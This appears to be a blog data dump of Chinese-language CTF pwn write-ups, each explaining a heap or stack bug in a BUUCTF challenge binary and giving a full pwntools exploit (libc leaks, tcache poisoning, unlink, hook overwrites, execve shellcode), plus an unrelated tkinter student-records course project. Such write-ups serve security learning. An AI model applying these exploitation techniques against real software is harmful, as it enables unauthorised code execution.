*p=remote(\"node5.buuoj.cn\",25691)#p=process(\"./login_pro\")context.log_level=\"debug\"libc=ELF('./libc.So.6')bss=0x602400pop_rdi=0x401ab3puts_plt=0x4018b5puts_got=0x602028payload1=b'admin\\x00\\x00\\x00'payload1+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)p.sendafter('>',payload1)payload2=b'admin\\x00\\x00\\x00'+p64(0)*3+p64(bss)p.sendafter('Pass',payload2)p.recvuntil('BaileGeBai\\n')puts_got=u64(p.recvuntil('\\n',drop=True).ljust(8,b'\\x00'))print(hex(puts_got))base=puts_got-libc.sym['puts']one=[0x45226,0x4527a,0xf03a4,0xf1247]one_gadget=base+one[1]#gdb.attach(p)sleep(1)payload1=b'admin\\x00\\x00\\x00'*3+p64(one_gadget)p.sendafter('>',payload1)payload2=b'admin\\x00\\x00\\x00'*4+p64(bss+0x10)p.sendafter('Pass',payload2)#p.sendline(payload)p.interactive()","categories":[],"tags":[]},{"title":"ciscn_2019_es_1","slug":"ciscn-2019-es-1","date":"2024-01-21T16:08:54.000Z","updated":"2024-11-29T15:54:26.177Z","comments":true,"path":"/posts/90ce1974/","link":"","permalink":"https://github.com/degial/posts/90ce1974/","excerpt":"","text":"ciscn_2019_es_1checksec一下,保护全开 addshow函数,可以输出我们想要的地址然后算偏移 delete函数,没有把指针置零,存在UAF漏洞 过程虽然理清,但仍然有点懵逼。先创三个堆12345add(0x410,\"AAAA\")add(0x20,\"AAAA\")add(0x20,\"bin/sh\")delete(0) libc是2.27版本,就会有tachebin机制,free的大小大于0x400则可以绕过这个机制,而他的fd和bk指针都会指向main_arena+96这个地址,show函数把它输出出来并算出偏移量并算出free_hook的地址和system函数的地址。 1234567show(0)malloc_hook_addr = u64(p.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))-96-0x10base_addr = malloc_hook_addr - libc.symbols['__malloc_hook']free_hook = base_addr + libc.symbols['__free_hook']system_addr = base_addr + libc.symbols['system'] 然后用double free,free两次堆2,然后堆2的如下,以及bin bin指针链0x000055ac61f846c0这个地址记录了它本身这里也许是tachebin的机制,再次malloc时,会先创建一个堆记录下一个堆的地址,而下一个堆正是我们add函数的过程,在0x000055ac61f846c0这个地址写入的是free_hook的地址,但是它依然还是在bin链中的,这就很不解,明明已经被使用了,这时bin链的指针指到了free_hook,我们再malloc 这时bin链的指针指到了free_hook,我们再malloc两次就能把free_hook函数的地址内容改成system函数的地址,而都同add函数一样正常mollc,参数bin/sh放在堆3 exp 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657from pwn import*from LibcSearcher import *#p=remote(\"node4.buuoj.cn\",28022)p=process(\"./ciscn_2019_es_1\")context.log_level=\"debug\"elf=ELF(\"./ciscn_2019_es_1\")libc=ELF(\"./libc-2.27.so\")def add(size,name): p.recvuntil(\"choice:\") p.sendline(\"1\") p.recvuntil(\"name\") p.sendline(str(int(size))) p.recvuntil(\"name:\") p.sendline(name) p.recvuntil(\"call\") p.sendline(name)def show(dex): p.sendlineafter(\"choice:\",'2') p.sendlineafter(\"index:\",str(dex)) def delete(dex): p.sendlineafter(\"choice:\",'3') p.sendlineafter(\"index:\\n\",str(dex)) add(0x410,\"AAAA\")add(0x20,\"AAAA\")add(0x20,\"bin/sh\")delete(0)show(0)malloc_hook_addr = u64(p.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))-96-0x10base_addr = malloc_hook_addr - libc.symbols['__malloc_hook']free_hook = base_addr + libc.symbols['__free_hook']system_addr = base_addr + libc.symbols['system']delete(1)delete(1)gdb.attach(p)sleep(1)add(0x20,p64(free_hook))add(0x20,'MMMM')add(0x20,p64(system_addr))delete(2)#p.sendline(payload)p.interactive()","categories":[],"tags":[]},{"title":"lctf2016_pwn200","slug":"lctf2016_pwn200","date":"2024-01-14T12:22:41.000Z","updated":"2024-11-29T15:54:26.191Z","comments":true,"path":"/posts/6f5f7bb7/","link":"","permalink":"https://github.com/degial/posts/6f5f7bb7/","excerpt":"","text":"lctf2016_pwn200一道有点难的堆题这是主函数的结构,当我们输入满0x40时能够把主函数的ebp的地址泄露出来 下面小a的末尾的rbp寄存器存着主函数的rbp 后面还调用了两个函数,说明这两个函数的栈帧离得不远,而这个函数,可以构造我们的fakechunk,还有我们的shellcode shellcode第一个得是’\\x00’防止复制过去,造成影响申请得到得堆的地址和给过去的不太一样,这是构造的栈的结构 然后ptr指针的值被覆盖成栈上的,等我们free再malloc的时候就能申请到这,但是大小得是0x30,因为我们构造的fakechunk的大小是0x40的大小,这样才能malloc到我们的栈上,从而覆盖到返回地址,而返回地址得写成shellcode开始的地址。shellcode的结构应该写出这样的结构。 1payload=3*p64(0)+p64(rbp-0xc0+1) 再次申请覆盖掉返回地址,最后程序返回的时候会执行shellcode123456789101112131415161718192021222324252627282930313233343536373839404142434445from pwn import*from LibcSearcher import *#p=remote(\"node4.buuoj.cn\",28868)p=process(\"./pwn200\")context.log_level=\"debug\"payload='a'*0x30p.sendafter('u?',payload)p.recvuntil('a'*0x30)rbp=u64(p.recv(6).ljust(8,'\\x00'))print(hex(rbp))shellcode=\"\\x00\\x31\\xf6\\x48\\xbb\\x2f\\x62\\x69\\x6e\"shellcode+= \"\\x2f\\x2f\\x73\\x68\\x56\\x53\\x54\\x5f\"shellcode += \"\\x6a\\x3b\\x58\\x31\\xd2\\x0f\\x05\"payload=(shellcode+2*p64(0)+p64(0X41)).ljust(0x38,'\\x00') #gouzhao fakebchunkpayload+=p64(rbp-0x90)p.sendlineafter('id ~~?','31')print(hex(rbp-0x90))p.sendlineafter('money~',payload)p.sendlineafter('choice : ','2')#p.recvuntil('\\n')gdb.attach(p)sleep(1)p.sendlineafter('choice : ','1')p.sendlineafter('long?','48')payload=3*p64(0)+p64(rbp-0xc0+1)p.sendlineafter('money : ',payload)p.sendlineafter('choice : ','3')#p.sendline(payload)p.interactive()","categories":[],"tags":[]},{"title":"python课设","slug":"python课设","date":"2023-12-25T14:49:46.000Z","updated":"2024-11-29T15:54:26.198Z","comments":true,"path":"/posts/5eca8ee9/","link":"","permalink":"https://github.com/degial/posts/5eca8ee9/","excerpt":"","text":"123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181import tkinter as tkfrom tkinter import messagebox, simpledialogimport jsonimport reimport osSTUDENT_FILE = 'students.json'def load_students(): if not os.path.exists(STUDENT_FILE): return [] with open(STUDENT_FILE, 'r', encoding='utf-8') as file: return json.load(file)def save_students(students): with open(STUDENT_FILE, 'w', encoding='utf-8') as file: json.dump(students, file, ensure_ascii=False, indent=2)def show_students(students): sorted_students = sorted(students, key=lambda x: x['id']) # 按学号排序 students_text = \"\" for student in sorted_students: students_text += f\"学号: {student['id']}\\n\" students_text += f\"姓名: {student['name']}\\n\" students_text += f\"年龄: {student['age']}\\n\" students_text += f\"性别: {student['gender']}\\n\\n\" return students_textdef validate_id(student_id): return bool(student_id.strip())def add_student(students): dialog = tk.Toplevel() dialog.title(\"添加学生信息\") dialog.geometry(\"250x200+900+400\") tk.Label(dialog, text=\"学号:\").grid(row=0, column=0, padx=10, pady=5) id_var = tk.StringVar() tk.Entry(dialog, textvariable=id_var).grid(row=0, column=1, padx=10, pady=5) tk.Label(dialog, text=\"姓名:\").grid(row=1, column=0, padx=10, pady=5) name_var = tk.StringVar() tk.Entry(dialog, textvariable=name_var).grid(row=1, column=1, padx=10, pady=5) tk.Label(dialog, text=\"年龄:\").grid(row=2, column=0, padx=10, pady=5) age_var = tk.StringVar() tk.Entry(dialog, textvariable=age_var).grid(row=2, column=1, padx=10, pady=5) tk.Label(dialog, text=\"性别:\").grid(row=3, column=0, padx=10, pady=5) gender_var = tk.StringVar() gender_var.set(\"男\") gender_menu = tk.OptionMenu(dialog, gender_var, \"男\", \"女\") gender_menu.grid(row=3, column=1, padx=10, pady=5) def add_student_action(): student_info = { 'id': id_var.get(), 'name': name_var.get(), 'age': age_var.get(), 'gender': gender_var.get() } if not student_info['id'] or not validate_id(student_info['id']): messagebox.showerror(\"错误\", \"学号格式错误,请重新输入。\") return if any(student['id'] == student_info['id'] for student in students): messagebox.showerror(\"错误\", \"学号已存在,请重新输入。\") return students.append(student_info) messagebox.showinfo(\"成功\", \"学生信息添加成功!\") dialog.destroy() add_button = tk.Button(dialog, text=\"添加\", command=add_student_action) add_button.grid(row=4, columnspan=2, pady=10)def edit_student(students): student_id = simpledialog.askstring(\"输入\", \"请输入要编辑的学号:\") if not student_id or not validate_id(student_id): messagebox.showerror(\"错误\", \"学号格式错误,请重新输入。\") return student = next((s for s in students if s['id'] == student_id), None) if student: messagebox.showinfo(\"信息\", f\"学号: {student['id']}\\n姓名: {student['name']}\\n年龄: {student['age']}\\n性别: {student['gender']}\") dialog = tk.Toplevel() dialog.title(\"编辑学生信息\") dialog.geometry(\"250x200+900+400\") tk.Label(dialog, text=\"姓名:\").grid(row=1, column=0, padx=10, pady=5) name_var = tk.StringVar(value=student['name']) tk.Entry(dialog, textvariable=name_var).grid(row=1, column=1, padx=10, pady=5) tk.Label(dialog, text=\"年龄:\").grid(row=2, column=0, padx=10, pady=5) age_var = tk.StringVar(value=str(student['age'])) tk.Entry(dialog, textvariable=age_var).grid(row=2, column=1, padx=10, pady=5) tk.Label(dialog, text=\"性别:\").grid(row=3, column=0, padx=10, pady=5) gender_var = tk.StringVar(value=student['gender']) gender_menu = tk.OptionMenu(dialog, gender_var, \"男\", \"女\") gender_menu.grid(row=3, column=1, padx=10, pady=5) def edit_student_action(): student['name'] = name_var.get() student['age'] = int(age_var.get()) student['gender'] = gender_var.get() messagebox.showinfo(\"成功\", \"学生信息编辑成功!\") dialog.destroy() edit_button = tk.Button(dialog, text=\"编辑\", command=edit_student_action) edit_button.grid(row=4, columnspan=2, pady=10) else: messagebox.showerror(\"错误\", \"未找到该学生信息。\")def delete_student(students): student_id = simpledialog.askstring(\"输入\", \"请输入要删除的学号:\") if not student_id or not validate_id(student_id): messagebox.showerror(\"错误\", \"学号格式错误,请重新输入。\") return student = next((s for s in students if s['id'] == student_id), None) if student: students.remove(student) messagebox.showinfo(\"成功\", \"学生信息删除成功!\") else: messagebox.showerror(\"错误\", \"未找到该学生信息。\")def main(): root = tk.Tk() root.title(\"学生信息管理系统\") students = load_students() window_width = 800 window_height = 500 screen_width = root.winfo_screenwidth() screen_height = root.winfo_screenheight() x_position = (screen_width - window_width) // 2 y_position = (screen_height - window_height) // 2 root.geometry(f\"{window_width}x{window_height}+{x_position}+{y_position}\") def show_students_command(): students_text = show_students(students) messagebox.showinfo(\"学生信息\", students_text) def add_student_command(): add_student(students) def delete_student_command(): delete_student(students) def edit_student_command(): edit_student(students) def save_and_exit(): save_students(students) root.destroy() show_students_button = tk.Button(root, text=\"显示所有学生信息\", command=show_students_command) show_students_button.pack() add_student_button = tk.Button(root, text=\"添加学生信息\", command=add_student_command) add_student_button.pack() delete_student_button = tk.Button(root, text=\"删除学生信息\", command=delete_student_command) delete_student_button.pack() edit_student_button = tk.Button(root, text=\"编辑学生信息\", command=edit_student_command) edit_student_button.pack() exit_button = tk.Button(root, text=\"保存并退出\", command=save_and_exit) exit_button.pack() root.mainloop()if __name__ == \"__main__\": main()","categories":[],"tags":[]},{"title":"sctf2019_easy_heap","slug":"sctf2019-easy-heap","date":"2023-12-06T13:15:49.000Z","updated":"2024-11-29T15:54:26.200Z","comments":true,"path":"/posts/b5a0cf5/","link":"","permalink":"https://github.com/degial/posts/b5a0cf5/","excerpt":"","text":"例行检查,保护全开调用了mmap函数,把0xFFFFFFF000的地址映射到内存中某个地址,并打印出来,很明显这道题得用shellcode来做,这个地址可读可写可运行,后面要用 add函数,会打印出堆的地址 full函数,能输入内容到堆上 最后会增添一个’\\x00’,存在off by one 漏洞 free函数,没什么漏洞 先接收mmap映射的地址1234p.recvuntil(b'Mmap: ')vmap = p.recvline().strip()vmap = int(vmap, 16)print('vmap=>'+hex(vmap)) 做off-by-one这种题的话,有个技巧,一般都是先申请四个堆1234add(0x410) #0add(0x68) #1add(0x4f0) #2add(0x68) #3 然后释放第一个,然后填充第一个堆,利用sub_E2D函数的输入把堆2的size位改为0,然后释放堆2进行unlink操作,然后堆1会被夹在中间123free(0)payload=p64(0)*12+p64(0x490)fill(1,payload) 释放堆2,会进行unlink 再申请一次0x410和0x68大小的堆,堆2会和堆1的位置重合 再delete几次,相当于double free了堆2123delete(3)delete(1) #1=>#3 delete(2) #2(1)=>1 接下来改bin链指针成改成vmap的,写上shellcode 上面的话堆2是没有free的,然后用上面的方式再unlink一次,再add0x410大小的堆,会在堆2的fd指针上有main_arena+96的地址。1234567fill(1,payload) delete(1)delete(4) #unlinkadd(0x410) # 0 fill堆2一个字节,将其改为0x30,既是mallloc_hook的地址 再malloc0x68两次,第二次写上vmap的地址,再任意申请一次堆即可提权123456add(0x68) #1fill(1,p64(vmap)) # 4add(0x68) #4fill(4,p64(vmap))add(0x20) exp1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677from pwn import*from LibcSearcher import *#p=remote(\"node4.buuoj.cn\",28038)p=process(\"./sctf2019_easy_heap\")context.log_level=\"debug\"libc=ELF('./libc-2.27.so')context.arch='amd64'#context=arch('amd64')def add(size): p.sendlineafter('>> ','1') p.sendlineafter('Size: ',str(size))def fill(index,content): p.sendlineafter('>> ','3') p.sendlineafter('Index:',str(index)) p.sendlineafter('Content:',content)def delete(index): p.sendlineafter('>> ','2') p.sendlineafter('Index: ',str(index))p.recvuntil(b'Mmap: ')vmap = p.recvline().strip()vmap = int(vmap, 16)print('vmap=>'+hex(vmap))add(0x410) #0add(0x68) #1add(0x4f0) #2add(0x68) #3payload=p64(0)*12+p64(0x490)delete(0)fill(1,payload)delete(2)add(0x410) #0add(0x68) #2 lead to chunk1delete(3)delete(1) #1=>3delete(2) #1=>1 in the similar case we use by UAF,but it is not.add(0x68) #1fill(1,p64(vmap))add(0x68) #2add(0x68) #3shellcode=asm(shellcraft.sh())fill(3,shellcode)add(0x4f0) #4delete(0) #free 0x410fill(1,payload) delete(1)delete(4) #unlinkadd(0x410) # 0gdb.attach(p)sleep(1)pause()fill(2,'\\x30')add(0x68) #1fill(1,p64(vmap)) # 4add(0x68) #4fill(4,p64(vmap))add(0x20)p.interactive()","categories":[],"tags":[]},{"title":"metasequoia_2020_samsara","slug":"metasequoia-2020-samsara","date":"2023-12-03T08:02:58.000Z","updated":"2024-11-29T15:54:26.195Z","comments":true,"path":"/posts/dff3306c/","link":"","permalink":"https://github.com/degial/posts/dff3306c/","excerpt":"","text":"保护全开,就不放了程序挺简单的,菜单直接放出来了,存在double free漏洞,只需要让v8=0xdeadbeef就能拿到flag 先double free,然后用case4打印出v7的地址,在栈上v8的地址等于v7+0x8,double free改地址的时候改到v7-0x8,然后v7的值得是0x20,构造fakechunk,然后malloc的时候在v7-0x8+0x10的地方写上0xdeadbeef 开始的时候得多申请一个堆堆3,其他师傅说防止free 掉的两个chunk和top chunk合并,脚本跑的话没逝,但以后还是得注意exp12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758from pwn import*from LibcSearcher import *#p=remote(\"node4.buuoj.cn\",28766)p=process(\"./metasequoia_2020_samsara\")context.log_level=\"debug\"libc=ELF('./libc-2.23.so')def add(): p.sendlineafter('choice > ','1')def free(index): p.sendlineafter('choice > ','2') p.sendlineafter('Index',str(index))def full(index,content): p.sendlineafter('choice > ','3') p.sendlineafter('Index',str(index)) p.sendlineafter('Ingredient:',content)def show(): p.sendlineafter('choice > ','4') def move(content): p.sendlineafter('choice > ','5') p.sendlineafter('Which kingdom?',content)add() #0add() #1add() #2free(0)free(1)free(0)show()p.recvuntil('Your lair is at: ')addr=int(p.recv(14),16)#addr = int(p.recvuntil('\\n', drop=True), 16)print('addr=>'+hex(addr))move(str(0x20))gdb.attach(p)pause()#sleep(1)v8=addr-0x8add() #3full(3,str(v8))add() #4add() #5add() #6full(6,str(0xdeadbeef))p.sendlineafter('choice > ','6')p.interactive()","categories":[],"tags":[]},{"title":"ciscn_2019_c_3","slug":"ciscn-2019-c-3","date":"2023-11-27T13:21:21.000Z","updated":"2024-11-29T15:54:26.175Z","comments":true,"path":"/posts/7d6af77/","link":"","permalink":"https://github.com/degial/posts/7d6af77/","excerpt":"","text":"开启了全局偏移add函数,只允许申请固定的几个大小的堆,在堆地址+16的地方写入内容,所以改不了fd和bk地址,堆地址开始写上0,堆地址+8的地址会加上随机数 show函数,会把堆地址上的几个数分别打印出来,可以打印出main_arena+96的地址 delete函数,存在很明显的UAF漏洞 还有个后面函数,可以改堆fd位置的东西,每次能使其加一,后面能改其bin指针 先malloc大小为0x100的堆,然后释放8次,然后bin才会有main_arena+96,且得先malloc大小是0x100大小的堆1234add(0x100,'aaaa') #0add(0x60,'bbbb') #1for i in range(8): delete(0) 然后show的话能接收到其地址12345show(0)p.recvuntil(\"attack_times: \")#arena = u64(p.recv(6).ljust(8, b'\\x00'))arena_96=int(p.recvuntil('\\n',drop=True)) 1234malloc_hook=arena_96-96-0x10base=malloc_hook-libc.sym['__malloc_hook']free_hook=base+libc.sym['__free_hook']gadget=base+one_gadget 再申请一个堆,这时候会在堆2开始,由于glibc 2.27的特性,会在开始的上方申请堆,这里不太明白为什么要用free_hook-0x10的地址,而不是free_hook12payload=p64(0)*2+p64(free_hook-0x10)add(0x60,payload) #2 double free然后用backdoor函数20次,fd+0x20,将bin指针指向0x0000562a77ab5280的地址 1234add(0x60,'aaaa')add(0x60,'bbbb')add(0x60,p64(gadget))delete(1) exp1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465from pwn import*from LibcSearcher import *#p=remote(\"node4.buuoj.cn\",29798)p=process(\"./ciscn_2019_c_3\")context.log_level=\"debug\"libc=ELF('./libc-2.27.so')context.arch='amd64'one_gadget=0x4f322def add(size,content): p.sendlineafter('Command: ','1') p.sendlineafter('size: ',str(size)) p.sendlineafter('Give me the name: ',content)def show(index): p.sendlineafter('Command: ','2') p.sendlineafter('index: ',str(index)) def delete(index): p.sendlineafter('Command: ','3') p.sendlineafter('weapon:',str(index))def back(index): p.sendlineafter('Command: ','666') p.sendlineafter('weapon:',str(index))add(0x100,'aaaa') #0add(0x60,'bbbb') #1for i in range(8): delete(0)show(0)p.recvuntil(\"attack_times: \")#arena = u64(p.recv(6).ljust(8, b'\\x00'))arena_96=int(p.recvuntil('\\n',drop=True))malloc_hook=arena_96-96-0x10base=malloc_hook-libc.sym['__malloc_hook']free_hook=base+libc.sym['__free_hook']gadget=base+one_gadgetpayload=p64(0)*2+p64(free_hook-0x10)#2add(0x60,payload)delete(2)delete(2)for i in range(0x20): back(2)gdb.attach(p)sleep(1)add(0x60,'aaaa')add(0x60,'bbbb')print(hex(free_hook))add(0x60,p64(gadget))delete(1)p.interactive()","categories":[],"tags":[]},{"title":"ciscn_final_2","slug":"ciscn-final-2","date":"2023-11-02T14:07:31.000Z","updated":"2024-11-29T15:54:26.179Z","comments":true,"path":"/posts/9a3dca0e/","link":"","permalink":"https://github.com/degial/posts/9a3dca0e/","excerpt":"","text":"例行检查,保护全开,就不放了。add函数,只能申请0x20大小的堆或者0x10大小的,只能先申请再释放 存在double free漏洞 可以double free泄露出堆地址,但是是int类型,接收的话用addr=int(p.recvuntil(‘\\n’, drop=True)),发送的时候用str类型就可在内存里用十六进制存储了。 前戏是先double free改堆头的size,改size容易但是中间得add好几个堆1234567891011121314151617add(1,'11')dele(1)add(2,'22')add(2,'11')add(2,'11')add(2,'22')dele(2)add(1,'11')dele(2)show(2)p.recvuntil('your short type inode number :')addr=int(p.recvuntil('\\n', drop=True))-0xa0add(2,addr)add(2,'11')add(2,0x91) #改掉size free7次使其进入unsortedbin,前面改size成0x90是最小的大小,不然下面的地址不会是main_arena+9612345for i in range(7): dele(1) add(2,5)dele(1) 接收并计算地址,至于为什么是 IO_2_1_stdin +0x70,应该是它执行时候的地址。12345show(1)p.recvuntil('your int type inode number :')malloc_hook=int(p.recvuntil('\\n', drop=True))-0x70base=malloc_hook-libc.sym['__malloc_hook']stdin=base+libc.sym['_IO_2_1_stdin_']+0x70 再次malloc改掉堆地址,然后填充12add(1,stdin)add(1,0x30) 再次double free获取头地址,再次show出来的堆头地址和开始时的时不一样的。1234567dele(1)add(2,0x30)dele(1) #double freeshow(1)p.recvuntil('your int type inode number :')chunk0=int(p.recvuntil('\\n', drop=True))-0x30 再改堆指针,填充1234add(1,chunk0)add(1,chunk0)add(1,111)add(1,666) exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475from pwn import *from LibcSearcher import *p=process('./ciscn_final_2')#p=remote('node4.buuoj.cn',26681)context( os = 'linux',arch='amd64')context.log_level = 'debug'elf=ELF('./ciscn_final_2')libc=ELF('./libc-2.27.so')def add(index,content): p.sendlineafter('> ','1') p.sendlineafter('>',str(index)) p.sendlineafter('your inode number:',str(content))def dele(index): p.sendlineafter('> ','2') p.sendlineafter('>',str(index))def show(index): p.sendlineafter('> ','3') p.sendlineafter('>',str(index))add(1,'11')dele(1)add(2,'22')add(2,'11')add(2,'11')add(2,'22')dele(2)add(1,'11')dele(2)show(2)p.recvuntil('your short type inode number :')addr=int(p.recvuntil('\\n', drop=True))-0xa0add(2,addr)add(2,'11')add(2,0x91)for i in range(7): dele(1) add(2,5)dele(1)show(1)p.recvuntil('your int type inode number :')malloc_hook=int(p.recvuntil('\\n', drop=True))-0x70base=malloc_hook-libc.sym['__malloc_hook']stdin=base+libc.sym['_IO_2_1_stdin_']+0x70add(1,stdin) ###???add(1,0x30)#double freedele(1)add(2,0x30)dele(1)show(1)p.recvuntil('your int type inode number :')chunk0=int(p.recvuntil('\\n', drop=True))-0x30add(1,chunk0)gdb.attach(p)sleep(1)add(1,chunk0)add(1,111)add(1,666)p.sendlineafter('> ','4')p.recvuntil('your message :')#print(addr)p.interactive()","categories":[],"tags":[{"name":"buu","slug":"buu","permalink":"https://github.com/degial/tags/buu/"}]},{"title":"sleepyHolder_hitcon_2016","slug":"sleepyHolder-hitcon-2016","date":"2023-10-30T12:09:08.000Z","updated":"2024-11-29T15:54:26.203Z","comments":true,"path":"/posts/b1e92899/","link":"","permalink":"https://github.com/degial/posts/b1e92899/","excerpt":"","text":"例行检查 add函数,能分别申请一个0x28,0xfa0,0x61a80大小的堆一次 dele函数,存在UAF漏洞,指针没有清零,但是对应的数清零了,所以可以再次申请堆 这还有个edit函数 12345add(1,'AAAA') #堆0add(2,'BBBB') #堆1dele(1)add(3,'cccc') #堆2 因为堆2太大所以free chunk会放在smallbin里 这里有个漏洞,double free堆0后再次申请堆0,堆1的size位还是0,所以可以利用unlink 再申请一次堆1add(1,'aaaa') 后面构造fake_chunk,然后dele(2),会unlink123payload=p64(0)+p64(0x21)+p64(fd)+p64(bk)+p64(0x20)edit(1,payload)dele(2) #unlink 注意堆0时0x6020d0,堆1时0x6020c0,刚开始不太清楚为什么后面要补这么多1,后面看向add函数,堆0,1,2分别对应着0x6020e0,d8,dc的地址,有则表示1,堆1虽已dele,但是只是为了后面方便改指针,全都写成112payload=p64(0)+p64(elf.got['free'])+p64(0)+p64(0x6020c0)+p32(1)+p32(1)+p32(1)edit(1,payload) #8 12edit(2,p64(0x400760)) #put_pltedit(1,p64(0x602020)) #puts_got 把free_got改写的内容改成puts_plt,可以执行puts函数,堆0的指针写上puts_got,然后dele堆1,就会打印出地址 然后算出偏移,算出system函数的地址,再edit堆0,0x6020c012payload=p64(elf.got['atoi'])+p64(0)+p32(1)+p32(1)+p32(1)edit(1,payload) 再edit堆2,写上system的地址,1edit(2,p64(system)) 主函数菜单那里还有个atoi函数,写上’sh’即可exp12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667from pwn import*from LibcSearcher import *#p=remote(\"node4.buuoj.cn\",)p=process(\"./sleepyHolder_hitcon_2016\")context.log_level=\"debug\"context(arch='amd64')elf=ELF('./sleepyHolder_hitcon_2016')libc=ELF('libc-2.23.so')def add(chose,content): p.sendlineafter('3. Renew secret\\n','1') p.sendlineafter('What secret do you want to keep?',str(chose)) p.sendafter('Tell me your secret: ',content) def dele(index): p.sendlineafter('3. Renew secret\\n','2') p.sendlineafter('Which Secret do you want to wipe?',str(index))def edit(ch,content): p.sendlineafter('3. Renew secret\\n','3') p.sendlineafter('Which Secret do you want to renew?',str(ch)) p.sendafter('Tell me your secret: ',content)add(1,'AAAA') add(2,'BBBB') dele(1)add(3,'cccc') dele(1)add(1,'aaaa') fd=0x6020d0-0x18bk=0x6020d0-0x10payload=p64(0)+p64(0x21)+p64(fd)+p64(bk)+p64(0x20)edit(1,payload) #6dele(2) #7 unlinkpayload=p64(0)+p64(elf.got['free'])+p64(0)+p64(0x6020c0)+p32(1)+p32(1)+p32(1)edit(1,payload) #8edit(2,p64(0x400760))edit(1,p64(0x602020))dele(2)#dele(2)p.recvuntil('2. Big secret')puts_addr=u64(p.recvuntil('\\x7f')[-6:].ljust(8,'\\x00'))print(hex(puts_addr))base=puts_addr-libc.sym['puts']system=base+libc.sym['system']payload=p64(elf.got['atoi'])+p64(0)+p32(1)+p32(1)+p32(1)edit(1,payload)edit(2,p64(system))p.sendlineafter('3. Renew secret\\n','sh\\n')p.interactive()","categories":[],"tags":[{"name":"buu","slug":"buu","permalink":"https://github.com/degial/tags/buu/"}]},{"title":"SWPUCTF_2019_p1KkHeap","slug":"SWPUCTF-2019-p1KkHeap","date":"2023-10-29T09:53:51.000Z","updated":"2024-11-29T15:54:26.165Z","comments":true,"path":"/posts/a25249b0/","link":"","permalink":"https://github.com/degial/posts/a25249b0/","excerpt":"","text":"所有操作总共限制在了0x12次 保护全开,限制了堆的大小在0x100,不能绕过tachebin机制 dele时没有将bss段上的堆指针清零,存在double free漏洞 最多只能申请8次堆 本想泄露堆的地址然后改size泄露地址,但是最后的dele会报错,不知道什么原因,而且申请的次数根本不够用,所以这个方法不行。12345678910111213141516171819add(0x40) #0add(0x40) #1add(0x10) #2add(0x10) #3dele(0)dele(1)dele(0)show(0)p.recvuntil('content: ')m0_addr=u64(p.recv(6).ljust(8,'\\x00'))print(hex(m0_addr))#add(0x10,)add(0x40)edit(4,p64(m0_addr+0x50))add(0x40)add(0x40)add(0x40)payload=p64(0)*3+p64(0x421)edit(7,payload) 这里libc2.27有一种特性,tcache_perthread_struct结构体在堆上,释放后大小在0x20到0x410的堆的地址会放在开始的0x250的堆那里,这里释放了三个堆,从0x557386b4a010开始,他是小端序存储放到了后边,第一个字节是0x10大小的堆的数量,然后依次是0x20,最多放7个,放完就放fastbin和unsortedbin里。 在主函数里有一个函数 它映射了一个地址在0x6666000,那么这道题很明显用shellcode写,把shellcode写在这个地址然后执行 首先先计算出tcache_perthread_struct结构体的地址,这里可以直接对一个堆释放两次12345678add(0x100)add(0x100)dele(1)dele(1)show(1)p.recvuntil('content: ')tache_addr=u64(p.recv(6).ljust(8,'\\x00'))-0x360print(hex(tache_addr)) 再申请堆就能直接修改堆指针,改到tache_perthread_struct开始的地址12add(0x100) #2edit(2,p64(tache_addr)) 再申请两次,在tache_perthread能改到下面的地址,相对开始的偏移是0xc8,这里不太清楚为什么改到下面的bin指针,应该和堆管理器有关1234add(0x100) #3add(0x100) #4vmmap=0x66660000edit(4,0xb8*'\\x00'+p64(vmmap)) 再申请堆,在0x66660000这个地址上写上shellcode,这里看到shellcode的大小是大于0x30的,至于为什么地址是0x66660300,其实后面改成shellcode以后的地址都可以,比如0x66660040以后12345add(0x100) #5shellcode=shellcraft.open('flag',0)shellcode+=shellcraft.read(3,0x66660300,0x30)shellcode+=shellcraft.write(1,0x66660300,0x30)edit(5,shellcode) 当tache_perthread的size为0但所对应的首地址不为空时,再分配出去size会变成0xff大于7,再dele(0)会放在unsortedbin,因为大于0x80,此时可以泄露main_arena+96的地址,这个地址减0x70就是malloc_hook的地址12345dele(0)show(0)p.recvuntil('content: ')malloc_hook=u64(p.recv(6).ljust(8,'\\x00'))-0x70print(hex(malloc_hook)) 再以相同的方式改掉tachebin的地址1edit(4,0xb8*'\\x00'+p64(malloc_hook)) 再申请一次0x100大小的堆,edit内容为0x66660000的地址,再申请一次堆即可提权exp1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162from pwn import*from LibcSearcher import *#p=remote(\"node4.buuoj.cn\",)p=process(\"./SWPUCTF_2019_p1KkHeap\")context.update(arch='amd64', os='linux', endian='little')context.log_level=\"debug\"libc=ELF('./libc-2.27.so')def add(size): p.sendlineafter('Your Choice: ','1') p.sendlineafter('size: ',str(size))def show(index): p.sendlineafter('Your Choice: ','2') p.sendlineafter('id: ',str(index))def edit(index,content): p.sendlineafter('Your Choice: ','3') p.sendlineafter('id: ',str(index)) p.sendlineafter('content: ',content)def dele(index): p.sendlineafter('Your Choice: ','4') p.sendlineafter('id: ',str(index))add(0x100) #0add(0x100) #1dele(1)dele(1)show(1)p.recvuntil('content: ')tache_addr=u64(p.recv(6).ljust(8,'\\x00'))-0x360print(hex(tache_addr))add(0x100) #2edit(2,p64(tache_addr)*2)add(0x100) #3add(0x100) #4vmmap=0x66660000edit(4,0xb8*'\\x00'+p64(vmmap))add(0x100) #5shellcode=shellcraft.open('flag',0)shellcode+=shellcraft.read(3,0x66660300,0x30)shellcode+=shellcraft.write(1,0x66660300,0x30)edit(5,asm(shellcode))dele(0)show(0)p.recvuntil('content: 